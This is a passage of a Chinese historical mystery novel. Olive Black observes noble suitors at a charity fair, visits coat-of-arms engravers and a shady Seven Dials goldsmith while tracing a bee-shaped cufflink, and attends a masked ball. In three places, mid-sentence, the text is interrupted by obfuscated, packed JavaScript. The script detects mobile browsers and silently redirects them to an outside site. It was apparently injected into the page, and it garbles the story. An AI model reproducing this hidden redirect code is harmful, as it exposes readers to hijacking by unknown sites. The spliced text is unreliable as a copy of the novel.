“我们可以先选几样东西,看着都不错。”子爵说话时“巴黎腔”并不重,他红着脸,目光在摊子上来回打量,委决不下。 奥丽芙拿起一副羊毛护膝:“或许德·雷斯托夫人能用得上。” “谢谢。母亲,你看呢?”子爵向他母亲转过头。 “不——”德·雷斯托夫人刚说一个字,立即改口笑道,“很漂亮,拿着吧。你的曾祖母在科布伦茨时,一定盼着有这么一副东西。” 奥丽芙听说过,德·雷斯托家族在路易十一时期受封,大革命期间失去了财产和土地,不得已流亡国外。但她认为实情恰恰相反:他们是最近几十年才“发迹”的。 车夫预备将马车驶到前面,奥丽芙指着车上的纹章,羡慕又赞叹地说:“你们的先辈,子爵夫人在海外时,看到家族徽章,肯定会忘记寒冷。它真漂亮,真醒目,在第一位德·雷斯托子爵时,就是这样了吧?” “是的。”德·雷斯托夫人满面放光,庄重地说,“从第一位德·雷斯托子爵到现在,德·雷斯托家的继承人始终都是长子,纹章没有任何变动。” 她好像是在影射默顿公爵。现今默顿公爵的父亲,即小默顿的祖父,是家里的小儿子,若非他的兄长没有继承人,公爵之位本来轮不到他,日后,也就不会传到小默顿头上。 不过,对此事,公爵一家从不讳言。爵位继承肯定是严格遵循法律的,而且说到底,次子也是家族成员,身上流着贵族的血液,比起纯粹的假冒,要强得多得多。 可是,德·雷斯托夫人满脸的骄傲之情像是发自内心,令奥丽芙不禁怀疑:这对母子到底清不清楚自家的“历史”? 纹章中出现鸟的图样由来已久,但仅限象征意义上的鸟,而非某一种特定的鸟。到十五世纪时,除去鹰,其它禽类在纹章中都还非常罕见。 奥丽芙记得父亲曾在意大利某个农户家中,发现其两百年前的祖先使用绘有天鹅图案的纹章,父亲感到纳罕,把整个徽章细细临摹到笔记中,并且询问得知,可能是那家的祖先在一次做梦时梦见了天鹅,认为能带来好运,便绘制成家族徽章,一直传到现今。 不过,在农民和市民阶层,对纹章图案的使用比较随意,而贵族反而会受各种条条框框限制。 假如说德·雷斯托家族真是路易十一时期受封,并在那时就使用了有天鹅图案的纹章,可是个大大的特例,不可能被父亲错过。很显然,是子爵的曾祖父或祖父,将雷斯托改成德·雷斯托,并选取了当时比较广泛使用的天鹅图案做族徽。天鹅和鸢尾花,确实挺好看。 子爵递过来一枚金币,向奥丽芙摇了摇头,表示不用找了。 他母亲看见,露出责备的神情,但没说什么,两人转身向草坪走去。 奥丽芙看着母子俩的背影,突然冒出一个念头:凶手不一定局限在四个人当中,也可能是他们最亲密的家人,甚至女人也完全可能。 她想象德·雷斯托夫人为了黑夜里在街上行动不引人注目,作男装打扮,从马车上跳下来,靠近父亲身后……德·雷斯托夫人虽然瘦,但看起来挺有力气,不过她个子不高,若踮起脚尖,她的一只手就必须扶着某样东西支撑自己。不会是她,奥丽芙摇摇头,驱散那些不愉快的联想。 德·雷斯托呢?子爵似乎是个单纯、善良的人,身上也没有法国人那种傲慢,可是,他太听他妈妈的话了。 很显然,父亲本子上德·雷斯托名字后那个对勾,不代表对他身份的认可,只说明他们见过。会过面后,他们互相之间有什么看法? 奥丽芙立在那儿思索,范德梅尔从草坪下来,走到近前时,她才看见。 “你好啊,布莱克小姐。”范德梅尔亲热而随便地说。 “你好,伯爵。” “我想你大概精通猜谜,听听这个——” 范德梅尔当即说出一则含双关的谜语。奥丽芙想了想,解释给他:“是第一代兰开斯特公爵,冈特的约翰,因为他确实是由伯爵晋升为公爵的。” “太好了。”范德梅尔绽开笑容,又问了几条,不得不说他的记忆力不错,将谜面复述得很准确,奥丽芙都猜了出来。 “你可帮了大忙。我向他们夸口,我最擅长猜谜,要是一个都猜不出,可真成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922031|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑话。”范德梅尔摇着头,“我从来没见过这么晦涩的谜语。——等会儿我把奖品给你。” “不必了,先生,谢谢你为美丽世界出力。”奥丽芙笑着谢绝。即使猜中谜语,也要十个先令才能兑换奖品。他总共得花两三镑,都够吃顿佐以美酒的大餐了。 “既然你这么说,过会儿我可得在你这儿买几样东西。” 尽管嘴巴这么说,范德梅尔的眼睛可没朝柜台扫一下,他只是对着奥丽芙笑。连奥丽芙都承认,这副微笑再讨人喜欢不过了。“我一翻历史书就打瞌睡,你一定不会把这个小秘密告诉库珀小姐吧?” “不会。” 范德梅尔又奉上一个微笑,匆匆离去。 这之后,来了一大拨客人,可是,下午过半,奥丽芙就很清闲了。虽然游园会的主要目的是筹款募捐,但人们既然来了,总是希望能找到点儿乐子。大多数人都更喜欢摸彩等游戏,一进公园,快速挑上几样小物件,便奔向草坪中间的游乐场,因此,草坪边上,树木掩映下的几个货摊显得冷冷清清。 Z伯爵悠哉游哉地向奥丽芙晃过来。 “日安,布莱克小姐。”他站在货摊前,满面春风地说。 “日安。”奥丽芙正在数钱,只朝Z伯爵笑笑就低下头。 她这个摊位上大部分货物是女式睡帽、羊毛袜、护膝等等,吸引的顾客主要是当家女主人,实在没有哪样东西适合推销给Z伯爵。奥丽芙估摸他打声招呼就会走开。 “卖得很不错,是吗?”Z伯爵笑咪咪看着奥丽芙把不同面值的硬币摞成一堆。 “就剩这些了。”奥丽芙指指摊开摆着的东西。 “我又来晚了?”Z伯爵说,声音不见懊恼,倒有点讽刺,“果然,要为美丽世界出力,谁也不肯落下。我猜,范德梅尔伯爵和德·雷斯托子爵早就到了,小默顿肯定托了他的管家来吧?” 他猜得挺准。前两天,小默顿去了巴斯,准备接他的父母妹妹一起回来。他不能亲身前来,已经写信给凯里夫人表示过歉意。不过,他的管家还是来了,并且尽职尽责地在每一个摊位上都花了钱。 “你不喜欢这种活动?”奥丽芙问,声音中也含了些讽刺。不知为何,和Z伯爵说话,不由自主就会采用这种“不拘礼节”的方式。 “可不是嘛,实在无聊,若要钱直说就行,何苦非得费这些折腾?” “你也可以直接把钱放下,等会儿我代你交给凯里夫人。”奥丽芙微笑道。 “谢谢你,但是不必了。”Z伯爵漫不经心看着摊上各种物品,“我还是在这儿转转,让别人看见我来过,这样还能买个好名声,一举两得。” “那边有卖领带和手套的,或者你愿意去草坪上玩玩游戏?猜谜活动挺有趣,得抓紧,奖品大概快被赢光了。” “谜语是你编的?”Z伯爵抬起头,饶有兴趣地问。 “当然不是,是布兰登公爵好心为这次活动编写的。连奖品都是公爵本人准备好,交由他的秘书带来,比协会的奖品要更好。” 布兰登公爵现任外交大臣,毕业于剑桥大学国王学院,同时,他还是剑桥的名誉教授,欧洲史方面的权威,以学识渊博和思想开明著称。 Z伯爵却用手半遮嘴,毫不掩饰地打了个大哈欠。——他和范德梅尔还真像。 “那边人够多了,我可不愿意凑热闹。我不喜欢猜谜,对领带也没兴趣。——这会儿你不忙,能允许我仔细挑一挑吧。” “请便。” 从草坪中央,远远传来一阵喧笑声。 Z伯爵没回头看,说:“可能是范德梅尔伯爵又猜出一条谜语吧,怪事,今天他怎么变聪明了。——可惜小默顿没来。” “小默顿也喜欢谜语?”奥丽芙想到刚才范德梅尔忙不迭跑去猜谜,有点诧异。谜语摊子可不是伊迪丝负责呀,莫非他们都以为猜中几个谜语就能使自己在姑娘面前显得机智? “可能会喜欢吧。”Z伯爵还在聚精会神地挑选货品,他把一个毛线织的茶壶罩拿在手里细看,似乎是不经意地提起,“我听说布兰登公爵的机要秘书因为身体缘故,有辞职打算。公爵总是说,不管英国还是其它国家,都该培养年轻人做外交工作。” 奥丽芙立即明白了,他在暗示小默顿想要空缺出来的位置,范德梅尔也另有算盘。 9. 店铺问询 贵族家的青年,若幸运,生下来就是继承人,他们所受的教育便会告诉他们,走任何“职业”道路都有失体面,除非从政,执掌大权。 作为外交大臣,布兰登公爵在上议院占着举足轻重的一席,能在他手下当差,做个机要秘书,可谓迈上了一条康庄大道,对英国的年轻贵族而言,很少能找到比这更理想的职位。 而对外国人来说,做他们本国的外交大使,成为高级宴会上最受人瞩目的一员,显然也是个不错的前景。布兰登公爵与他们国家的高层官员都很熟悉,若有他的举荐,事情会容易许多。 原来范德梅尔今天来,还不单单是奉承伊迪丝——公爵派了人在此记录谁赢了他的奖品,这倒是个拍马屁的机会。 若要细想,这里头的有趣之处挺不少呢:无论外交大臣挑秘书,还是某个国家选外交官,肯定都有严格的筛选程序,谁也没办法在其中伪装、作假。小默顿和范德梅尔自知身份无可挑剔,所以敢于表现出兴趣?德·雷斯托先生就不敢。 Z伯爵更有意思。若他真如表面上显露的那样毫不动心,何以暗暗讽刺别人?他是因为缺少其它门路,希望不大,只好偷偷眼红,还是和德·雷斯托有同样的心虚缘由? 说起来,Z伯爵好像除穿戴漂亮外,不怎么讲究贵族排场。迄今为止,还没有在任何地方看到他的家族纹章。就连他那辆最新式四轮马车锃亮的车壁上,都没装饰徽记——甚至他乘马车,还是好容易才逮到一回,可车没停稳他就跳下来,马车又一溜烟驶走了,连车夫是否穿着号衣都没让人看清。 反正,Z伯爵透着奇怪——伯爵称呼于他几乎像个绰号,而非头衔。 可是,他在贵族圈子里的确很受欢迎,有人说他曾受邀去王室的乡村别墅做客,还出席过公主的生日宴会。——他到底是心里有鬼,还是低调,还是有意为自己制造“神秘”? 奥丽芙若有所思看着Z伯爵。他像个在行的买主,正把一只护膝用手指撑开,煞有介事地观察其弹性和薄厚。 “这是羊毛织的,澳大利亚的羊毛。可以让膝盖暖和又活动自如,每对只要一英镑。”奥丽芙忍着笑,说出事先准备好的推销词。 “真不便宜。”Z伯爵一面自语,一面把所有的护膝拿起来数了数,“好吧,这些我都要。我可以寄给我姑姑。” “除非你有好几位姑姑。虽说你拿去扔了也不干我事,但我还是希望我做的东西真正派上用场。” “这些是你做的?你亲手做的?”Z伯爵惊讶地看看奥丽芙。 “当然了,先生,难道我是低价买进再高价卖出?我只是为我的劳动标了一个合理的价钱。” “不不,价钱极其公道,太便宜了。怪不得我很少见到你——原来你整天躲在屋子里钩毛线?” 奥丽芙暗自好笑。眼下,伦敦的社交季已经开始快一个月了,她见Z伯爵的次数其实并不少,几乎任何一场有伊迪丝出席的聚会他都没错过,也就是说,他们起码两天见一回。不过,他说“很少”,是不是不自觉地和见伊迪丝的次数作比,难道就是他悄悄约会伊迪丝? 奥丽芙越想越觉得有可能。 四个人中,小默顿最好面子,不愿显得急迫,不肯率先打破竞争的“公平”,他和伊迪丝见面,都是在非常正式的社交场合。 德·雷斯托非常敬重伊迪丝,不大会做出出格的举动。 范德梅尔倒是有一两回骑着马,和伊迪丝在公园“偶遇”,伊迪丝表面上似乎也最喜欢他,不过女孩子的心思未必总是表里如一,何况,假如范德梅尔私下里得到了承诺,他的行为是不是该收敛些,别将志得意满那么明显炫耀在脸上,惹人生疑? 而Z伯爵,他身上真正萦绕着一种神秘气氛——哪怕你天天见到他,你依然猜不到在不见面的时候,他在做什么。 见奥丽芙沉思,Z伯爵大声笑起来:“我没别的意思,小姐。你这么有学问,我以为你每天都在埋头读书,真没想到你竟然还能抽出空做这些。” “我有许多空闲时间,几乎和你寻欢作乐的时间一样多,先生。”奥丽芙也得刺他一下才开心。 Z伯爵忽然换了副温柔的语调:“我想你可能累了吧,布莱克小姐。如果我把剩下的东西全买下来,你肯不肯陪我去那边坐坐,喝点儿饮料?——你会发现寻欢作乐的趣味。” “不,我不累,谢谢你。当然我的感谢无足轻重,若你买下这些,那些缺少衣食的妇女和孩童会在睡前为你祈祷。”奥丽芙郑重地回答。 “假如他们果真得到衣食的话。”Z伯爵意有所指地说。 奥丽芙惊讶地瞅了他一眼:“那你认为筹集到的钱会做什么?” “这可难说了。但肯定不是直接到达需要钱的人手中。” “确实不是,但是会购买食品和衣物,还有其它能够改善生活的用品,发给有需要的人。我知道某些慈善家可能会侵吞钱财,但美丽世界妇女联盟的几位主席都是善良正直的女性,何况账目也受到严格监管,由教会——” “所有的慈善都一样,尤其是教会——”Z伯爵打断奥丽芙,忽然自己也打住,“不必争论了,与咱们何干?你我只要各自尽到心就行了。”说着,他掏出钱夹,“三十镑大概够了吧。” 他倒挺大方的。 “不。”奥丽芙摆手,正色拒绝,“如果你对钱的去处有怀疑,还是让它们留在你自己钱包里为好。” “对不起,我收回我的话。小姐,钱在哪儿,我根本无所谓。”Z伯爵笑笑,放下几张钞票。 . 关于那只蜜蜂袖扣,奥丽芙早就请布朗先生调查过。布朗先生询问了城内各大男子服饰用品商,他的询问方法肯定比警察要委婉,可是,得到的答案差不多:袖扣不是在任何一家制作的。 布朗先生还被告知,蜜蜂图案由于受拿破仑喜爱,在法国较为流行,因而在英国人中便不大受欢迎,很少接到想做蜜蜂图样的订单。 奥丽芙把袖扣在手里翻过来倒过去地看。加上六边形形状,整个袖扣像一只呆在蜂巢中的蜜蜂。该如何把它诱出来呢? 她一直在寻找同类的东西,可是,在哪儿都没出现相似之物。这只袖扣可能已经用了许多年,可能是在国外制作的,那样的话,很难找到它的来历。但奥丽芙没有完全放弃,她想,那几位国外来的人,他们总不会把所有家当都搬来,总有些物件得在英国定制,他们去哪里? 库珀先生订了许多报纸,奥丽芙找来所有伦敦本地的,翻到广告版,只要广告上说:“某某铜器制作,承接族徽镶嵌:印章、马车、门环。”或者是:“定做旗帜、号衣。”她便将上面的商号地址记下。 奥丽芙很钦佩布朗先生的调查能力,可他对于纹章所知不多,有些事可能会漏掉,她决定自己挨个走访这些地方。 这天午后,她来到单子上列的第一家。 这家店在皮卡迪利街旁边的一条街上,门面不大,但挺气派。奥丽芙进门时,掌柜正在向一个小伙计交代事情,听到顾客来,立即站起身。不过,他大概习惯了与先生们或者女仆打交道,看到奥丽芙衣着精美、入时,又是位年轻小姐,一时有点儿摸不着头脑,旁边那个小伙计,也偷偷向奥丽芙脸上瞧。 “我读到了报上的广告。”奥丽芙马上告知来意。之前,她和父亲曾受邀参加某位西班牙贵族的婚礼,婚礼上的细节涌入她脑中,她假装羞涩地说,“我的一位朋友马上就要结婚了,她希望宴会办得漂亮些,给每一位客人都留下深刻的印象,最好能在餐巾、餐具上印上族徽。” “明白了。”掌柜点点头,“请问你刚才说婚礼双方是——” “你们给别人家做过吗,有没有样品能让我瞧瞧?”奥丽芙不在意地向柜台扫了两眼,意思是这里陈列的样货太普通了,她想看看更高级的东西。 掌柜指示小伙计从店铺后面拿出几样物品。奥丽芙慢慢看着,一面问:“还有没有?” 小伙计又去了后屋,这时,来了别的客人,掌柜上去招呼,奥丽芙趁他不注意,也跟着钻入后头屋子。 房间很小,堆放着一些纸盒子,还有刻刀和几样奥丽芙叫不出名字的工具。 奥丽芙向惊讶的小伙计摆摆手,悄声说:“我就想看看别人家都是怎么办的。你们的客户都有谁?要是找不到样例,能不能让我看看订货记录?” “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922032|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要办婚礼的客户吗?我得找找。”小伙计从柜子取出一个本子翻看。奥丽芙也凑上去:“我自己看吧,还请你帮我找一下……” 话没说完,掌柜重重一掀门帘,脸色发红,生气地说:“小姐,谁让你进来探头探脑?” 奥丽芙急忙道歉:“对不起,对不起,我只是希望能帮朋友把事情办得体面,我们什么都愿意要最好的。” 掌柜神色和缓了些:“我们有许多尊贵的客户,对品质你尽可以放心。那么,我有幸为哪一家——” “安德森。安德森与隆巴迪两家的婚礼。”奥丽芙随口说了个意大利姓氏,“你们的客户中也有外国人吧。” “有不少。”掌柜搔搔脑袋,“我们还不曾有幸为安德森府上和隆巴迪府上服务,不过,倘若明日把族徽样式送来,商量好细节,预付一半费用做定金,大约半个月可以完成。婚礼是什么时候?” “时间倒不急。”奥丽芙说,“不过,另有件为难的事,族徽……还没有。” “还没有?”掌柜困惑地抬起眼,“刻在门上的也行,若是不方便带来,我们可以派个人去描。” 这时,他身旁的小伙计挺了挺腰板,期待地望着奥丽芙,似乎等她一点头,他就会立即前去效劳。 奥丽芙略显难堪地解释:“是这样,我这位姐妹想要个更神气的族徽,别人一瞧就知道你祖上很不一般那种。但是,这位隆巴迪先生……拿不出那样的东西。因此,我才想要看看别人家……我的朋友想知道,你们能不能代她画一个,比如说,拿某位勋爵家的改改,改动不必太大,但也不能让原主发现我们用了他的。——价钱好商量。” 掌柜的脸似乎又涨红了,不过因为面对女士,他压住了怒气,只是声音变得有点严厉:“小姐,我们不接那号生意。” “对你们没什么区别嘛。”奥丽芙小声道。 “我们只做诚实的买卖。”掌柜又说一句,看着门。 奥丽芙走出来,心里既为店主的正直和诚实感到高兴,又为自己一无所获感到失望。 “小姐,小姐!”才走出五十码,背后有人唤她。 奥丽芙回头,看见是刚才的小伙计。 小伙计走到奥丽芙面前,低着头,脸颊有点红:“小姐,这儿不行,你到圣吉尔斯去,你知道SevenDials吗?” 奥丽芙点点头。SevenDials好像是因七条交汇在一起的街道得名,她听人说过,但不曾踏足那一带。圣吉尔斯是伦敦城臭名昭著的贫民窟之一。 小伙计说:“坐公共马车到圣吉尔斯那站下来,从东面数第二条街,南口有家金铺,第四个门就是,门上有招牌,叫奥康纳。奥康纳先生会接你想要的活儿。” “谢谢。”奥丽芙很感激,她在报上没看到过这一家。 “你怎么知道?”她又问。 “我先前在那儿干过。”小伙计脸更红了,这次大概是生气的缘故,“小姐,你可得跟他们好好讲价,他们能赚好几倍,给的工钱才那么一点儿。” 奥丽芙抽出几天工夫,将从报上抄录的店铺全转了一遍。有一家被她看到了客户名单,但没找见她所期待的那几个名字。还有两三家同意接第一家店铺不肯接的“那号生意”,奥丽芙趁机提了提蜜蜂的事,说希望在纹章中加入蜜蜂,不知可曾有哪位“尊贵的客人”也使用过这种图案?答复是没有。 最后,奥丽芙几乎不抱希望了,但还是决定去小伙计告诉她的SevenDials那家探探。 这回,她搞来一套使女穿的旧衣服,又在头上戴了顶女佣的包头巾式的无檐帽,这下,任谁看,她都是个中等人家的女仆。她从酒店后门偷偷溜出去,乘公共马车到了圣吉尔斯。 到了七条巷子交汇的广场一瞧,果然,那些细溜溜的巷子纵横交错,如蛛网般结在一起。尽管今天是个晴天,SevenDials上方好像弥漫着浓雾,一股烂白菜、臭鸡蛋的味道罩在下面散不出去。 奥丽芙伸长脖子向巷子深处瞧了瞧,心想自己八成会在里面迷路。好在奥康纳金铺确实是在巷子口,在这个大垃圾场迷宫的最边缘。 她正正头巾,跨进店门。 10. 假面舞会 店堂里有两个伙计,见奥丽芙进来,一人肆无忌惮把眼睛转到她身上,另一人则将一本账册举在脸前,从后面偷偷抬起眼。两个家伙将她从头到脚上上下下打量了好几遍,即便用最客气的词句描述,他们的眼神也是十分粗鲁。 奥丽芙没被人这么打量过,感到很不自在,不过已经来了,又是大白天,她料定对方不敢如何,便装出一副老道的神情四下里瞅着,似乎对这家店还拿不定主意,借以避开两人的目光,同时考虑自己该用什么样的语气开口。 其中一人慢吞吞从柜台里踅出来,一只粗黑的手掌伸到奥丽芙面前,瓮声瓮气说:“拿出来看看。” 奥丽芙一愣。柜台后那个扔下账本,笑嘻嘻道:“二十三开做十足算,二十二开扣一成,十五开扣四成。手工不计在内。实际咱们还加一厘,多的给你。” 奥丽芙总算明白了,他们以为她是为主人家变卖首饰,正在找寻能给自己揩点油水的店铺。他们要与她合伙在金子成色上蒙骗主人,分些好处给她,好招徕这笔生意。 她带着懂得的神气,用女仆的口气说:“我家太太想把她的旧金首饰熔了,重打一件新的,还要刻纹章在上面。” 谁知这句话说错了,站在跟前那个人立即变了脸:“什么纹章,谁告诉你的?没有金子卖,来我们这儿干嘛?”他一边嚷嚷一边挥着手臂将奥丽芙向外赶。 金铺对面站着几个看热闹的人,好像一直关注着事态发展,看见奥丽芙狼狈地从那扇小门出来,纷纷围上前,不怀好意地笑着:“你要什么,小妞?我们这里都有。”其中还有人伸出手拽她的胳膊。 奥丽芙知道,要是露出害怕的模样,这些人会变本加厉。她用力挣出手臂,向旁边跳开一步,强自镇定,用底层妇女中常见的泼辣语气说:“快滚开,我要喊警察了。” 或许她毕竟模仿得不像,或许他们不怕警察,一群人变换了位置,但并不退开。现在,他们把巷子的出口堵住了。虽然公共马车的站点就在几十码之外,可奥丽芙被挡着,看不见那边有没有人路过。这群闲汉则围住她嘻嘻哈哈,对她的衣饰评头论足,一个人来扯她的头巾。“你戴这么个玩意干什么,我给你另买条呱呱叫的。” 这时,巷子深处,有个人像头牛似地冲过来,吼道:“滚!” 所有人惊诧地朝这个仿佛从天而降的家伙扭过头,对方没再吭声,只举起一条胳膊,眨眼间,围着奥丽芙的恶棍们跑了个干净。 奥丽芙万分感激地瞅着搭救了自己的人。“骑士”和她差不多个头,年纪看来也大不了许多,不过他的四肢像山毛榉树那么粗壮,面膛呈青色,带着几道疤,露出一股野蛮的神情。 要是冷不丁见到这么个人,奥丽芙还真说不出他和刚才那伙无赖谁更可怕。 不过,对方救了她,感激之下,奥丽芙胆子大了许多,走上前对他说:“非常感谢,先生。敢问你的大名?” “快走吧。”对方不肯领情,对她看都不看一眼,只咕哝出几个字。 奥丽芙赶忙向外跑,正好一架公共马车来了,她忙奔过去,准备上车,又一回头,刚才那个粗壮的身影已经消失在陋巷当中了。 . 募捐游园会办得挺成功,“美丽世界妇女联盟”打算乘胜追击,再办一场募捐舞会。 不论是否喜欢跳舞,所有的太太小姐们都以收到舞会邀请为荣。妇女联盟主席给每一位为游园会帮过忙的女士都送了请柬,奥丽芙当然不例外。 舞会在市政厅举行。奥丽芙听说,在那儿举办舞会,几乎就像在皇宫一样气派。对男士来说,舞会的入场券十分昂贵——藉此达到筹款的目的——尽管如此,还是售出了两百多张票。这是奥丽芙来到伦敦后,将要参加的最为隆重的一场活动。 这时,奥丽芙的双门衣橱已经挂得满满当当,郊游穿的,拜客穿的,骑马穿的,各类服饰应有尽有,她可以毫不费力打扮得既时髦又雅致。 奥丽芙并非爱慕虚荣、特别讲究穿戴的姑娘,可是现在要与姓氏前带头衔的人物交往,若是穿着落伍,恐怕库珀先生就要干涉了。本来,库珀先生要为奥丽芙置办服装,但奥丽芙不肯他另外破费——库珀先生已经很体贴地提前支付了五百英镑薪酬,拿到这笔钱,奥丽芙立即找到个好裁缝,为不同的场合各定做了几身衣裳。 跳舞的裙子当然也没有被忘记,光布料就花了两英镑八先令,她认为蛮可以对付过去了。 这天,库珀先生请她去书房一趟,说:“有样东西,请你一定收下。”他指指桌子上放的一只扁扁的白色大纸盒。 奥丽芙心里有几分猜想,但打开盒子时,还是不由惊呼了一声。盒子里是一件簇新的、新得闪闪发光,新得连细纱花边都一下子竖了起来的、可爱的白色裙子,虽然还看不见全貌,但毫无疑问,它非常美,并且…… “这可太贵重了。”奥丽芙说。 “拿回去吧,贵重的东西可不能浪费了,这是专为你做的。”库珀先生笑着说。 奥丽芙感动得一时开不了口,她很怕伤了库珀先生的好意,可最后还是说:“别以为我不知感激,但让我付钱我才拿回去。” “不行,不行。先前我说过服装另计,可是你不肯给我账单,我便由你了。——只此一次,你得听我的。” 奥丽芙红着脸说:“那么就这回。谢谢你,库珀先生。” “实在抱歉,那时我没告诉你,只是在裁缝来的时候,让她看了你几眼。她说自己的眼睛很准,希望裙子能够合身。”库珀先生笑望着奥丽芙,“我想你们年轻女孩都喜欢跳舞。” 舞会那晚,市政厅布置得金碧辉煌。在不铺地毯的地方,大理石地板如同镜面般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922033|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 映出人影;天花板高得像苍穹,足有太阳那么大的吊灯从上面垂下来。 成群结队的盛装男女缓慢通过前厅,互相打量。虽然是假面舞会,面具只不过遮住上半张脸而已,对于平日里时常见面的人来说,谁是谁并不难猜。不过大家都不说破,如小孩子玩过家家一般,认真地沉迷于其中并感到快乐。 舞厅里面的人和门口一样多,司仪灵巧在人群中穿来穿去,不住地喊叫:“请大家在边上坐,腾出跳舞的地方。” 奥丽芙还从没见过这样热闹又奢华的场面,不禁感到新奇,向拥挤的人群中不住张望。 男士们都穿着黑色燕尾服,不太好辨认,但奥丽芙在走进大厅的最初一分钟就看见了Z伯爵:他的打扮与旁人无异,戴了张很普通的、随舞会门票赠送的黑面罩;可是他那一头黄澄澄的金发,确实非常醒目。 差不多就在奥丽芙刚认出Z伯爵时,他向她的方向微微鞠了一躬,不知是认出了她还是其他人,不过转眼间,一群人涌过来,奥丽芙不由自主被人群推到大厅另一端。 在这边,贵妇人们组成了一片波光粼粼的水池,年轻姑娘则像池畔的鲜花,而伊迪丝差不多是整个舞厅中最美丽的少女。她穿着浅金色喇叭形丝绸舞裙,礼服肩部由几层薄纱叠成云朵般轻柔的皱褶,漫不经意地裹住圆润可爱的肩头,一条小粒珍珠项链绕着她优雅的脖颈,菱形项链坠上镶一颗大钻石,在她胸前熠熠发光。至少有十二个年青人众星捧月般围着她。 等到喧嚣的气氛稍稍平息,小提琴的悠扬旋律可以传进每一双耳朵时,奥丽芙已经将整间大厅连带其中所有人的打扮都饱看了一顿。她又看到了Z伯爵:这时,他和她站在大厅的同一侧,Z伯爵身旁没有人,他的头极轻微地转动着,目光始终跟随着某一点。奥丽芙眼睛一扫便明白了,Z伯爵正紧紧盯着伊迪丝。 可能他以为自己戴着面罩,别人看不见他双眼中的表情,才会如此肆无忌惮。 可奥丽芙还是看见了,看得很清楚,并感觉他的眼神不大礼貌——不是那种对情人大胆凝视的不礼貌,而是所有者肆意打量、为所有物估价的不礼貌。他看着伊迪丝,好像她是一件已被自己收入囊中的稀世名画,或者其它价值相当的贵重物品。 奥丽芙不由想到其他几人。相较而言,范德梅尔那种轻浮、急迫的目光至少显示出他是拜倒在对方的美貌之下;而小默顿可能因为天生一双暴眼珠,特别留意目光要温和,反而显得有点呆,不过稳重倒是稳重的,起码没有失了他的身份;只有德·雷斯托看伊迪丝像看一朵花儿,眼睛中流露出天真的赞叹。 这轮比较,Z伯爵垫底。 奥丽芙盯着Z伯爵,似乎被他发觉了。伯爵全身一顿,慢慢转过脸。 这个角度,奥丽芙却看不见他的眼神,只看见面罩下方,现出一个大大的微笑。 11. 伯爵夫人 奥丽芙假装没注意,正巧,旁边的凯里夫人问了她一句话,她便扭头和几位太太谈起来。 无非是某个人穿了什么样的裙子,或者打听穿着某条裙子的人是谁;有两三个太太低声细语:“她答应会来,要是不来,妇女联盟就要颜面扫地了。你知道,这里多一半人是为了看她。她可不能不给斯塔福德侯爵夫人面子。” “她会使杜德莱子爵夫人黯然失色的。” “何止子爵夫人,她能使大多数小姐们也黯然失色。” 奥丽芙不知道她们嘴里这位受期待的人是谁。 凯里夫人别过头,对奥丽芙说:“我看年轻姑娘里头,你的裙子最漂亮,当然,除了伊迪丝。是不是你们一起找克莱尔太太做的?” “我不知道,可能是吧。裙子确实是库珀先生送给我的。”奥丽芙回答。 “哎呀,可不是我说,大多数男人根本意识不到姑娘们需要新裙子,库珀先生真是再细心没有了。” 一位男士从旁走过,轻蔑地哼了一声。奥丽芙听见,扭头瞧去,待看清那人,也就立即明白了谁是他表示不屑的对象。 虽说完全没道理心虚,奥丽芙脸不禁一热,胸中升起一股气恼之情。 她现在是布莱克小姐,库珀先生的教女。她从富有且慷慨大方的库珀先生手里接受一件礼物,欣然穿上它参加舞会,这应该不算招人非议的行为吧?再者,即便有什么欠考虑之处,也轮不到Z伯爵小题大做。 Z伯爵走出几步,忽然收住脚,转身回来:“小姐,你愿意和我跳四对舞吗?” 这倒让奥丽芙有点意外,但她一转眼睛,看见伊迪丝正被一位昂首挺胸的男士领着走入舞池,再看男士的身形发色,分明是范德梅尔,这时候,她差点也对Z伯爵哼一声。 凯里夫人在旁笑呵呵说:“对嘛,哪能让漂亮的小姐干坐着,特别是她还穿了这么美的跳舞裙子。——去吧去吧,先坐一会儿。” 后一句是指他们两人赶不上这一场的情况而言。舞池中,四组人已经列好了队,正预备跟随音乐开始动作。除了伊迪丝和范德梅尔,奥丽芙大致也认得出其他几对,里面有杜德莱子爵夫人,还有斯塔福德侯爵小姐——她的母亲斯塔福德侯爵夫人是“美丽世界妇女联盟”的主席。总之,这些人差不多都身份高贵,理所应当拥有跳开头两支舞的殊荣。 奥丽芙已把气恼压下去了。Z伯爵怎么看她无关紧要,她的任务是看透Z伯爵。与他跳舞也好,闲聊也好,她都责无旁贷。奥丽芙对Z伯爵微微一笑,和他走去那些等待上场的姑娘们旁边,找个位子坐下。 